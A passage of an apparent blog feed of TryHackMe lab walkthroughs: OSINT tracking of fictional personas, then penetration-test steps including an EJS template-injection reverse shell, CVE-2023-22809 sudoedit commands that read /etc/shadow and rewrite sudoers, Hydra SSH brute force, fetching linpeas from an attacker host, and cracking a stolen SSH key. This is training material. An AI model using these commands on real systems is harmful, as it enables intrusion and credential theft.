found a <strong>mining script</strong> with an address, but when I submitted it in the answer, it turned out to be incorrect. After investigating further, I found that the attacker had <strong>committed a change to mislead investigators</strong> by replacing the real address with a fake one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yOkxjEJ7v7sPzgBZO6KeFw.png" /></figure><p>By checking the <strong>older commit history</strong>, I uncovered the original wallet address: <strong>0xa102397dbeeBeFD8cD2F73A89122fCdB53abB6ef</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zxLRqKIg-Zehb78vEMFX0w.png" /></figure><p>To find out which <strong>mining pool</strong> the attacker received payments from on <em>January 23, 2021</em>, I used an <strong>Ethereum blockchain explorer</strong>. I entered the wallet address and viewed the transaction history, sorting by date to locate the exact transaction. The payment on that date came from <strong>Ethermine</strong>, confirming the mining pool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l9RaMN35iMnATD19o-jq2w.png" /></figure><p>Finally, I investigated whether the attacker used <strong>other cryptocurrencies</strong>. By analyzing the transaction records<strong> </strong>in the Ethereum scan website, I noticed that the wallet was also used to exchange<strong> Tether</strong>. This revealed that the attacker was involved in transactions beyond just Ethereum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9GFBGT73SKDFut-OS1lGTA.png" /></figure><h3>Task 5: Tracking the Attacker on Twitter</h3><p>To find the attacker’s current Twitter handle, I analyzed a screenshot where they taunted the admins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*Jb3F9l5AYEiD-ucKCuBzvQ.png" /></figure><p>The handle in the image was outdated, so I searched using the username found in Task 2. The first result led me to a new Twitter account: <strong>@SakuraLoverAiko</strong>, which had several tweets containing hints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rHKmwtqsl4nn8X8l__PckQ.png" /></figure><p>For the BSSID of the attacker’s home WiFi, I initially tried retrieving it from a deep paste website where the attacker stored WiFi access points and passwords, but after checking Reddit, I found the site was no longer available. Instead, I used a GitHub repository from OSINT Dojo, where I found the WiFi SSID and associated passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u-pT-N960pTyh6QLjqR74A.png" /></figure><p>Using Wigle.net, I searched for the SSID and retrieved the BSSID: <strong>84:af:ec:34:fc:f8</strong>. The location was in Japan, and by zooming in on the map and following the purple dot, I pinpointed the exact BSSID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VnYsHgtV2LQ1NML61reocg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLqwvUxbQCRlOYzrcJfjJg.png" /></figure><h3>Task 6: Tracing the Attacker’s Travel Path Through OSINT</h3><p>To determine the <strong>closest airport to the location</strong> where the attacker shared a photo before their flight, I analyzed the image but initially found nothing through a simple Google search. So, I cropped the photo to focus on a tower visible in the background. This led me to identify it as the Washington Monument.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z44YUUqX_cCnSD5B5aTdmQ.png" /></figure><p>Checking Google Maps, I found that the nearest airport was <strong>Ronald Reagan Washington National Airport (DCA)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G40tq7JXnNZ4-83zGMW1yA.png" /></figure><p>For the <strong>last layover airport</strong>, I realized I had overlooked a simple yet powerful OSINT technique , reverse image search. When I uploaded the image, I found a similar photo in a post stating it was taken inside <strong>Haneda Airport’s first-class lounge</strong>. That confirmed the attacker’s last layover was at <strong>Haneda Airport (HND)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G2OaBSkMP0kSNLwdfYhxwQ.png" /></figure><p>Next, I needed to find the <strong>lake visible on the map</strong> shared by the attacker during their final flight. By carefully examining Japan’s map, I matched the lake’s shape to <strong>Lake Inawashiro</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQ3ZpvVSgV1UjdtG2XrkhA.png" /></figure><p>Finally, to determine the <strong>attacker’s hometown</strong>, I recalled the <strong>BSSID search</strong> from Task 5. I zoomed out on the Wigle.net map and noticed a landmark labeled <strong>Hirosaki City Museum</strong> near the attacker’s WiFi location. This strongly suggested that the attacker considers <strong>Hirosaki</strong> their home.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ARh3fZJeR7GZsKrsYGHU_A.png" /></figure><h3>Wrapping it up</h3><p>Thank you for taking the time to read my guide on completing the TryHackMe Sakura challenge room! I hope this helps you on your cybersecurity journey. If you have any questions, feedback, or would just like to connect, feel free to reach out to me on <a href="http://www.linkedin.com/in/atharva-patil02">LinkedIn</a>. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b555b7a62b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — OhSINT Walkthrough]]></title>
            <link>https://atharva39.medium.com/tryhackme-ohsint-walkthrough-0a4c760553e9?source=rss-a80ecdafc4e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a4c760553e9</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Atharva]]></dc:creator>
            <pubDate>Thu, 13 Mar 2025 10:58:32 GMT</pubDate>
            <atom:updated>2025-03-17T06:48:58.159Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — OhSINT Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2A56XG4SVwRszNTP.png" /></figure><p>Are you able to use open source intelligence to solve this challenge?</p><h4>Introduction:</h4><p>Open-Source Intelligence (OSINT) is a crucial skill in cybersecurity, helping professionals gather publicly available information to assess security risks. Recently, I tackled the <a href="https://tryhackme.com/room/ohsint"><strong>OhSINT</strong></a> room on TryHackMe, an entry-level OSINT challenge designed to test reconnaissance skills. This write-up details my methodology, tools used, and key takeaways from the experience.</p><p><strong>Note:</strong> This challenge was updated on 2024–02–01. This is the updated version of the challenge.</p><h4>Understanding the Challenge:</h4><p>Before diving into the challenge, we need to grab the Task Files. Just hit the bright blue button at the top of Task1 labeled ‘<strong>Download Task Files</strong>’, and let’s get rolling!</p><p>The room presents a single image file as the starting point called “<em>WindowsXP_1551719014755.jpg”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SekVhAaN0ZLISUlsuo4ogw.jpeg" /></figure><p>At first glance, the image seems completely ordinary. No obvious clues, no hidden text, nothing that immediately stands out. But in OSINT, we know better! The real information is often buried beneath the surface. So, out first move? Dig into the metadata and extract the hidden details that can lead us to our next clue!</p><h4><strong>Extracting Metadata from the Image</strong></h4><p>Before diving into command-line tools, I did a quick search for online metadata extractors. Several popped up, but one tool stood out, the <strong>ExifTool</strong>. It’s powerful, easy to use, and widely trusted for digging into image details. Time to put it to the test! The first step was to analyze the image metadata for hidden details such as GPS coordinates, author, camera model, and timestamps. I used the ExifTool.</p><p>To install the ExifTool use the command:</p><blockquote><em>sudo apt install exiftool</em></blockquote><p>To use the Exiftool command to extract the metadata from a image:</p><blockquote><em>exiftool </em>WindowsXP_1551719014755.jpg</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2P6hmw0lUfCvStIhWJi13Q.png" /></figure><p>This revealed two key pieces of information:</p><ol><li>GPS Coordinates: 54 deg 17&#39; 41.27&quot; N, 2 deg 15&#39; 1.33&quot; W</li><li>Copyright Information: OWoodflint. A quick Google search on this name was my next step to uncover more clues.</li></ol><h4>Investigating the Name</h4><p>I took the name and did a quick Google search to see if it was linked anywhere online. Sure enough, I found it connected to three sites: GitHub, X (formerly Twitter), and a WordPress website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ybA-6P-L9r3PFNiAM8tbQ.png" /></figure><h4>Identifying the User’s Avatar (1st Question)</h4><p>For the first question about the user’s avatar, I headed to their X (formerly Twitter) profile and, boom! The profile picture was a <strong>cat</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ew_9ZXfv6PM13G0Bo0rbsQ.png" /></figure><h4>Finding the User’s Location &amp; Email Address (2nd &amp; 4th Question)</h4><p>Next, I checked out their GitHub page and found two key pieces of information. Their README confirmed that they are from <strong>London</strong>, answering the second question. <br>On top of that, I also discovered their personal email address (<a href="/service/mailto:OWoodflint@gmail.com"><strong>OWoodflint@gmail.com</strong></a>) in the same README file, solving the fourth question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZqYmJlgt4KSx9rMmyF3-Zg.png" /></figure><h4>Page Where the Email was Found (5th Question)</h4><p>For the fifth question, which asks where I found the email address, the answer is <strong>GitHub</strong>.</p><h4>Finding the SSID Using Wigle.net (3rd Question)</h4><p>Okay, now that we’ve solved questions 1, 2, 4 and 5, let’s circle back to the third question, finding the SSID of the WAP he was connected to.</p><p>While checking his X (formerly Twitter) account, we noticed that he had posted a tweet of a BSSID (B4:5D:50:AA:86:41). This is a unique identifier for a wireless access point, kind of like fingerprint for networks. To find the SSID (the name of the Wi-Fi network), we will use <a href="http://wigle.net/">wigle.net</a>.</p><h4><strong>What is a Wigle.net?</strong></h4><p>Wigle (Wireless Geographic Logging Engine) is a powerfull database that maps Wi-Fi networks worldwide. It collects and organizes BSSIDs, SSIDs, and their approximate locations from various sources. By searching for the BSSID on Wigle, we can uncover the SSID and get closer to out answer.</p><p><strong>Note:</strong> Wigle now requires a registered account to access any information. New accounts are limited to <strong>only 5 detailed queries per day</strong>, so be strategic! I recommend focusing on the task rather than randomly exploring Wigle.net, or you’ll have to wait <strong>24 hours</strong> for your query limit to reset. More information about this is in the Wigle public forum <a href="https://wigle.net/phpbb/viewtopic.php?t=2580#:~:text=the%205%2Dquery%20limit%20is,is%20already%20higher%20than%20that.&amp;text=5%3A08%20am-,contributing%2C%20not%20acting%20like%20part%20of%20a%20harvesting%20network%2C%20and,result%20in%20automatic%20limit%20increases.">here</a>.</p><p>Once you’re set, enter the BSSID you found into the <strong>BSSID</strong> search parameter and click on <strong>Filter</strong>. After the query updates, zoom out completely to reveal the world map.</p><p>Since we already know he is in London, navigate over to that area. You should see a <strong>red ring</strong> marking the location of the access point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8uxd5cN2oxtaKOQq0bRw4w.png" /></figure><p>Simply follow the ring, zooming in step by step, until you reach street level, where the SSID (<strong>UnileverWiFi</strong>) will be visible uncovering the answer of the third question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VdHWz81hgkc9RIMg_CDfxg.png" /></figure><h4>Tracking Holiday Destination (6th Question)</h4><p>To find the answer to the sixth question, I checked his WordPress blog. In his post he mentioned that he is currently on holiday in <strong>New York</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Px5VOPylR225s20ugBi1Bw.png" /></figure><h4><strong>Finding the Password by Checking the Source Code (7th Question)</strong></h4><p>For the last question of this challenge, I first checked their X (formerly Twitter) and GitHub, but there were no clues. That meant my last option was to inspect the source code of the WordPress site.</p><p>After scanning through it multiple times, I finally spotted a strange string of characters that had been hiding in the plainsight. I had overlooked it at first, but once I found it, I knew the password is <strong>pennYDr0pper.!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bp7NRuiNXNhdsk97vt_tjQ.png" /></figure><h3>Wrapping it up</h3><p>Thank you for taking the time to read my guide on completing the TryHackMe OhSINT challenge room! I hope this helps you on your cybersecurity journey. If you have any questions, feedback, or would just like to connect, feel free to reach out to me on <a href="http://www.linkedin.com/in/atharva-patil02">LinkedIn</a>. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a4c760553e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Whiterose Writeup]]></title>
            <link>https://atharva39.medium.com/tryhackme-whiterose-writeup-604a58289c6e?source=rss-a80ecdafc4e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/604a58289c6e</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Atharva]]></dc:creator>
            <pubDate>Mon, 11 Nov 2024 18:31:58 GMT</pubDate>
            <atom:updated>2026-03-20T15:12:59.602Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Whiterose Writeup</h3><p>Yet another Mr. Robot themed challenge. — by ngn</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*j4IZ8RkZQmou4Fs4" /></figure><p><strong>Room Link:</strong> <a href="https://tryhackme.com/room/whiterose">https://tryhackme.com/room/whiterose</a></p><h3>Initial Nmap Enumeration</h3><blockquote><em>nmap -A -p- 10.10.179.170 -T5 | tee nmap-enum</em></blockquote><p>The scan reveals two significant open ports: port 22, running SSH, and port 80, hosting an nginx 1.14.0 web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mS_HITaCGYu9stiNJhM0cw.png" /></figure><h3>Visiting the Page</h3><p>When visiting the index page of web server we are redirected to cyprusbank.thm, so we add this to our /etc/hosts and then refresh the page.</p><blockquote><em>&lt;target-ip&gt; cyprusbank.thm</em></blockquote><p>We are welcomed with a static page with no useful information. Checked the page source code but nothing useful there as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Re4y9LF6yJwFYmkDUrmLg.png" /></figure><h3>Directory Brute Forcing using Gobuster</h3><blockquote><em>gobuster dir -u </em><a href="http://10.10.179.170/"><em>http://10.10.179.170/</em></a><em> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -o gobuster-enum</em></blockquote><p>We tried using gobuster to brute force directories which can help us see hidden directories but we didn’t find anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2mzFMmYsMKchP-at8tdnjg.png" /></figure><h3>VHOST Fuzzing using ffuf</h3><blockquote><em>ffuf -u </em><a href="http://cyprusbank.thm/"><em>http://cyprusbank.thm/</em></a><em> -H “Host:FUZZ.cyprusbank.thm” -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 1</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9PI1Jvx8vHYSk8u8Warrqw.png" /></figure><p>We performed a VHOST fuzzing scan using FFuf, which discovered two virtual hosts: www and admin. We then added these entries to our /etc/hosts file and proceeded to visit the pages.</p><p>&lt;target-ip&gt; cyprusbank.thm admin.cyprusbank.thm</p><h3>Initial User Login on Admin Page</h3><p>After accessing the admin page, we were redirected to a login screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BOKWzKsyAVA8os5nQH9F5A.png" /></figure><p>We were provided with the following credentials in Task 1:</p><p><strong>Name:</strong> Olivia Cortez</p><p><strong>Password:</strong> olivi8</p><p>Using these credentials, we successfully logged in, but the user account has limited permissions. We are unable to access the data or view the /settings page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I-NhzRAylxcj99gWiti3Dg.png" /></figure><h3>Web Access</h3><p>Upon accessing the Messages section, we discovered the Admin Chat. Looking closely at the URL, we noticed a parameter c set to ?c=5. To explore further, we tested changing the parameter value, which potentially exposed an IDOR vulnerability.</p><p>By modifying the parameter to ?c=9, we found the credentials for the admin user, Gayle Bev.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fgXn5NLlugqKAXNBjufL1Q.png" /></figure><p>Using these credentials, we logged in and gained access to the telephone numbers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fpPTfKDQ0zidpmRhSC3eog.png" /></figure><p>Searching for “Tyrell Wellick,” we located his telephone number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HLcNA0wCUOFyrw3VrNhdGA.png" /></figure><p>Additionally, we accessed the settings page, where we could change the customer’s password. Notably, the password was reflected on the page, suggesting a possible vulnerability. Based on this behavior, we suspected the presence of either XSS or SSTI.</p><h3>Exploitation</h3><p>Using Burp Suite to intercept the request, we modify the password parameter and observe an error message indicating that EJS (Embedded JavaScript) files are being used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oy2PjVwOID4sBOXBKTYYzw.png" /></figure><p>We researched SSTI payloads specifically for EJS and found a relevant <a href="https://github.com/mde/ejs/issues/720">information here</a>. We can use this payload to test for SSTI vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g4lI91wku0WhlnIxD8ff4Q.png" /><figcaption>Encountering errors when I type this line of code on Medium.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZasUuc3-76r-fTxlvn20xQ.png" /></figure><p>Next, we prepare a reverse shell by visiting <a href="https://www.revshells.com/">revshells.com</a> to generate the payload. We set our IP address (tun0) and select a port number (default can be used), choosing ‘nc mkfifo’ as the reverse shell type and encoding it using URL encoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EDBEbYmDnwd6RHXRffmb_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MNCn3JR51eNGrdZHPI7Ylw.png" /></figure><p>Then, we start the listener by running “nc -lvnp 5555” in the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*5P6BdY6z1UKs4aESl5na7w.png" /></figure><p>Next, we copied the reverse shell command, pasted it, and then clicked ‘Send’ to execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5XdViVQeJMqVrzCat9Ekhw.png" /></figure><p>We then checked the terminal and confirmed that we received a connection back as the user “web.” The next step was to stabilize the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VaXalsuFv3XeIV_QYSqj_w.png" /></figure><p>Navigating to /home/web/, we were able to retrieve the flag user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nDiGQEbDBMCwf6LmFL0z7Q.png" /></figure><h3>Privilege Escalation to Root</h3><p>We begin by listing the available sudo privileges for the current user using the sudo -l command. Additionally, we check the version of sudoedit to identify any potential vulnerabilities. Upon inspection, we discover that the sudo version is vulnerable to <a href="https://www.vicarius.io/vsociety/posts/cve-2023-22809-sudoedit-bypass-analysis"><strong>CVE-2023-22809</strong></a>. This vulnerability allows us to bypass restrictions and gain the ability to read or edit any file by manipulating the EDITOR variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iqoB9qFMKx7BnCOpMWXRYA.png" /></figure><p>After reviewing the CVE, we can exploit this vulnerability by attempting to open /etc/shadow using vi when sudoedit is invoked. The following commands are used to set the EDITOR variable and verify it:</p><blockquote><em>export EDITOR=”vi — /etc/shadow”<br>echo $EDITOR</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0cKiPzWpFO3dN6uVfNxfuw.png" /></figure><p>We can now read the /etc/shadow file using vi by executing the following command:</p><blockquote><em>sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j3hntE3Dvervn0vy9K3N_Q.png" /></figure><p>To exit vi, type :qa</p><p>Now, let’s use this vulnerability to attempt reading the root flag.</p><p>Set the EDITOR environment variable to access the root file:</p><blockquote><em>export EDITOR=”vi — /root/root.txt”<br>echo $EDITOR</em></blockquote><p>Then, execute the following to trigger sudoedit:</p><blockquote><em>sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gP1SfQYAUz-7jQkz8OJk7w.png" /></figure><p>Finally, this exploit allows us to successfully view the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LHU3y2quQdT3MqPimrn06w.png" /></figure><p>To escalate privileges to root, we’ll attempt to edit the /etc/sudoers file.</p><p>Set the editor for sudoedit to open the sudoers file:</p><blockquote><em>export EDITOR=”vi — /etc/sudoers”</em></blockquote><blockquote><em>echo $EDITOR</em></blockquote><blockquote><em>sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm</em></blockquote><p>Once in vi, press i to enter insert mode and edit the file.</p><p>Remove the following line from the /etc/sudoers file:</p><blockquote><em>web ALL=(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm</em></blockquote><p>Replace the following line:</p><blockquote><em>web ALL=(root) NOPASSWD: ALL</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LouhTQRS_PH-S2tSp0lu4Q.png" /></figure><p>Now, we can run sudo commands without needing to provide the root password. Use sudo su to switch to the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I2CrlbGLCMsFFOflBTBFgA.png" /></figure><h3>Wrapping it up</h3><p>Thank you for taking the time to read my guide on completing the TryHackMe Whiterose challenge room! I hope this helps you on your cybersecurity journey. If you have any questions, feedback, or would just like to connect, feel free to reach out to me on <a href="http://www.linkedin.com/in/atharva-patil02">LinkedIn</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=604a58289c6e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Walkthrough — Basic Pentesting]]></title>
            <link>https://atharva39.medium.com/tryhackme-walkthrough-basic-pentesting-d0cb52f1fe64?source=rss-a80ecdafc4e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0cb52f1fe64</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[basic-pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Atharva]]></dc:creator>
            <pubDate>Wed, 23 Oct 2024 13:13:49 GMT</pubDate>
            <atom:updated>2024-10-23T13:13:49.245Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe Walkthrough — Basic Pentesting</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/0*Qwm1IBhxc4ECKuyr.png" /></figure><h4><strong>Task 1:</strong> Web App Testing and Privilege Escalation</h4><ol><li>Deploy the machine and connect to our network</li></ol><p>Deploy the machine using either the AttackBox or by connecting OpenVPN to your own machine.</p><p>2. Find the services exposed by the machine</p><p><strong>Nmap</strong>: Nmap (Network Mapper) is a powerful tool used for network discovery and security auditing. It helps identify open ports, services, and potential vulnerabilities.</p><p>Run the following Nmap scan to enumerate open ports and services:</p><blockquote>nmap -sS -sC -A -p- -T5 &lt;target-ip-address&gt; | tee nmap-enum</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPtMFq3y9vS7KwFM2q5fHw.png" /></figure><p>3. What is the name of the hidden directory on the web server(enter name without /)?</p><p><strong>Gobuster</strong>: Gobuster is a tool used for directory brute-forcing on web servers. It helps discover hidden directories and files that may be overlooked or not listed publicly.</p><p>Use gobusterto find the directories:</p><blockquote>gobuster dir -u http://&lt;target-ip-address&gt;/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -o gobuster-bruteforce</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*baquJuCOYfvqHoCUtiSnNQ.png" /></figure><p>Upon visiting the /development directory, we find two initials, &quot;K&quot; and &quot;J,&quot; and a weak password hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xLT85uXj7rIKPm3mI1bXzg.png" /></figure><p>4. User brute-forcing to find the username &amp; password</p><p>No answer required here, so proceed to the next sub-task.</p><p>5. What is the username?</p><p><strong>Enum4linux</strong>: Enum4linux is a tool used for enumerating information from Windows and Samba systems. It retrieves data such as usernames, shares, and more.</p><p>Enumerate the machine using enum4linux to find usernames:</p><blockquote>enum4linux -a &lt;target-ip-address&gt; | tee enum4linux-out</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pp-CUeX0_iAJzzTsdUXamQ.png" /></figure><p>6. What is the password?</p><p><strong>Hydra</strong>: Hydra is a fast and flexible password-cracking tool. It supports many protocols and helps in brute-forcing login credentials for services like SSH, FTP, etc.</p><p>Use Hydra to brute-force the password:</p><blockquote>hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://&lt;target-ip-address&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g1LW1matHV3DT7VE5oqp2g.png" /></figure><p>7. What service do you use to access the server(answer in abbreviation in all caps)?</p><p><strong>SSH (Secure Shell)</strong>: SSH is a protocol used for secure remote login and command execution. It encrypts the connection between the client and the server.</p><p>SSH into the machine using the discovered credentials (user: jan):</p><blockquote>ssh jan@&lt;target-ip-address&gt;</blockquote><p>8. Enumerate the machine to find any vectors for privilege escalation</p><p><strong>LinEnum</strong> and <strong>LinPeas</strong>: These are tools for local privilege escalation enumeration on Linux. They scan the system for potential misconfigurations or vulnerabilities that could be used to elevate privileges.</p><p>I prefer both <strong>LinEnum</strong> and <strong>LinPeas</strong> to discover privilege escalation vectors.</p><p>Start a Python HTTP server to transfer scripts from your local machine to the target:</p><blockquote>python3 -m http.server — bind &lt;your-tun0-ip&gt; 8000</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b4ut6TJVIGrNIU7nH-ohPA.png" /></figure><p>On the target machine, download the script:</p><blockquote>wget http://&lt;your-tun0-ip&gt;:8000/&lt;script-file-name&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U1rnnkWVmpXiVbf-XY7yxg.png" /></figure><p>Make the script executable and run it:</p><blockquote>chmod +x &lt;script-name&gt;<br>./&lt;script-name&gt;</blockquote><p>I used linpeas.sh and found a key escalation vector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d-ISp0C0de-_3WESn2Z5GA.png" /></figure><p>9. What is the name of the other user you found(all lower case)?</p><p>The second user identified was <strong>kay</strong>.</p><p>10. If you have found another user, what can you do with this information?</p><p>With this information, navigate to /home/kay/.ssh/, and cat the contents of id_rsa. Copy the key to your local machine and give it appropriate permissions:</p><blockquote>chmod 600 id_rsa</blockquote><p>The id_rsa key was password-protected, so I used <strong>John the Ripper</strong> to crack it. John is a password-cracking tool designed to detect weak passwords and brute-force password hashes. First, convert the id_rsa file using ssh2john:</p><blockquote>ssh2john id_rsa &gt; john-pass</blockquote><p>Then, use John to brute-force the password:</p><blockquote>john — wordlist=/usr/share/wordlists/rockyou.txt john-pass</blockquote><p>The password obtained is <strong>beeswax</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*HyUPYDEusM8_eIZE5zKkzw.png" /></figure><p>11. What is the final password you obtain?</p><p>SSH into user kay using the cracked key:</p><blockquote>ssh -i id_rsa kay@&lt;target-ip&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I90TNYLEwT_UJd2lll7-IQ.png" /></figure><p>Finally, cat the contents of pass.bak to obtain the final password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mwnal6CAJyen8hMnF73Y7w.png" /></figure><h3>Wrapping it up</h3><p>Thank you for taking the time to read my guide on completing the Basic Pentesting room! I hope this helps you on your cybersecurity journey. If you have any questions, feedback, or would just like to connect, feel free to reach out to me on <a href="http://www.linkedin.com/in/atharva-patil02">LinkedIn</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0cb52f1fe64" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Blaster Walkthrough]]></title>
            <link>https://atharva39.medium.com/tryhackme-blaster-walkthrough-560f2dac46fe?source=rss-a80ecdafc4e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/560f2dac46fe</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[blaster]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Atharva]]></dc:creator>
            <pubDate>Sun, 13 Oct 2024 11:56:09 GMT</pubDate>
            <atom:updated>2024-10-13T11:56:09.461Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Blaster Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*dRIJ3mcTltT0lWPP.png" /><figcaption>Logo for Blaster Room</figcaption></figure><h4>Task 1: Mission Start!</h4><p>Throughout this room, we’ll be looking at alternative modes of exploitation without the use of Metasploit or really exploitation tools in general beyond nmap and dirbuster. To wrap up the room, we’ll be pivoting back to these tools for persistence and additional steps we can take. Without further delay, let’s deploy our target machine!</p><p>This room is a remix of my previous room <a href="https://tryhackme.com/room/retro">Retro</a> with some complications I added to that room having been removed. For increased difficulty and an exercise in patience, check that room out after this. In addition, this room is the sequel to <a href="https://tryhackme.com/room/ice">Ice</a>. — DarkStar7471</p><h4>Task 2: Activate Forward Scanners and Launch Proton Torpedoes</h4><p>Now that we’ve launched our target, let’s perform some basic enumeration of the services running on it!</p><ol><li>How many ports are open on our target system?</li></ol><p>Scan the target IP using Nmap to identify any open ports and the services running on them.</p><blockquote>nmap -A -p- -Pn 10.10.237.232 -T5</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*32xKMUU6JN_bICN9W0AbFg.png" /></figure><p>It appears that a web 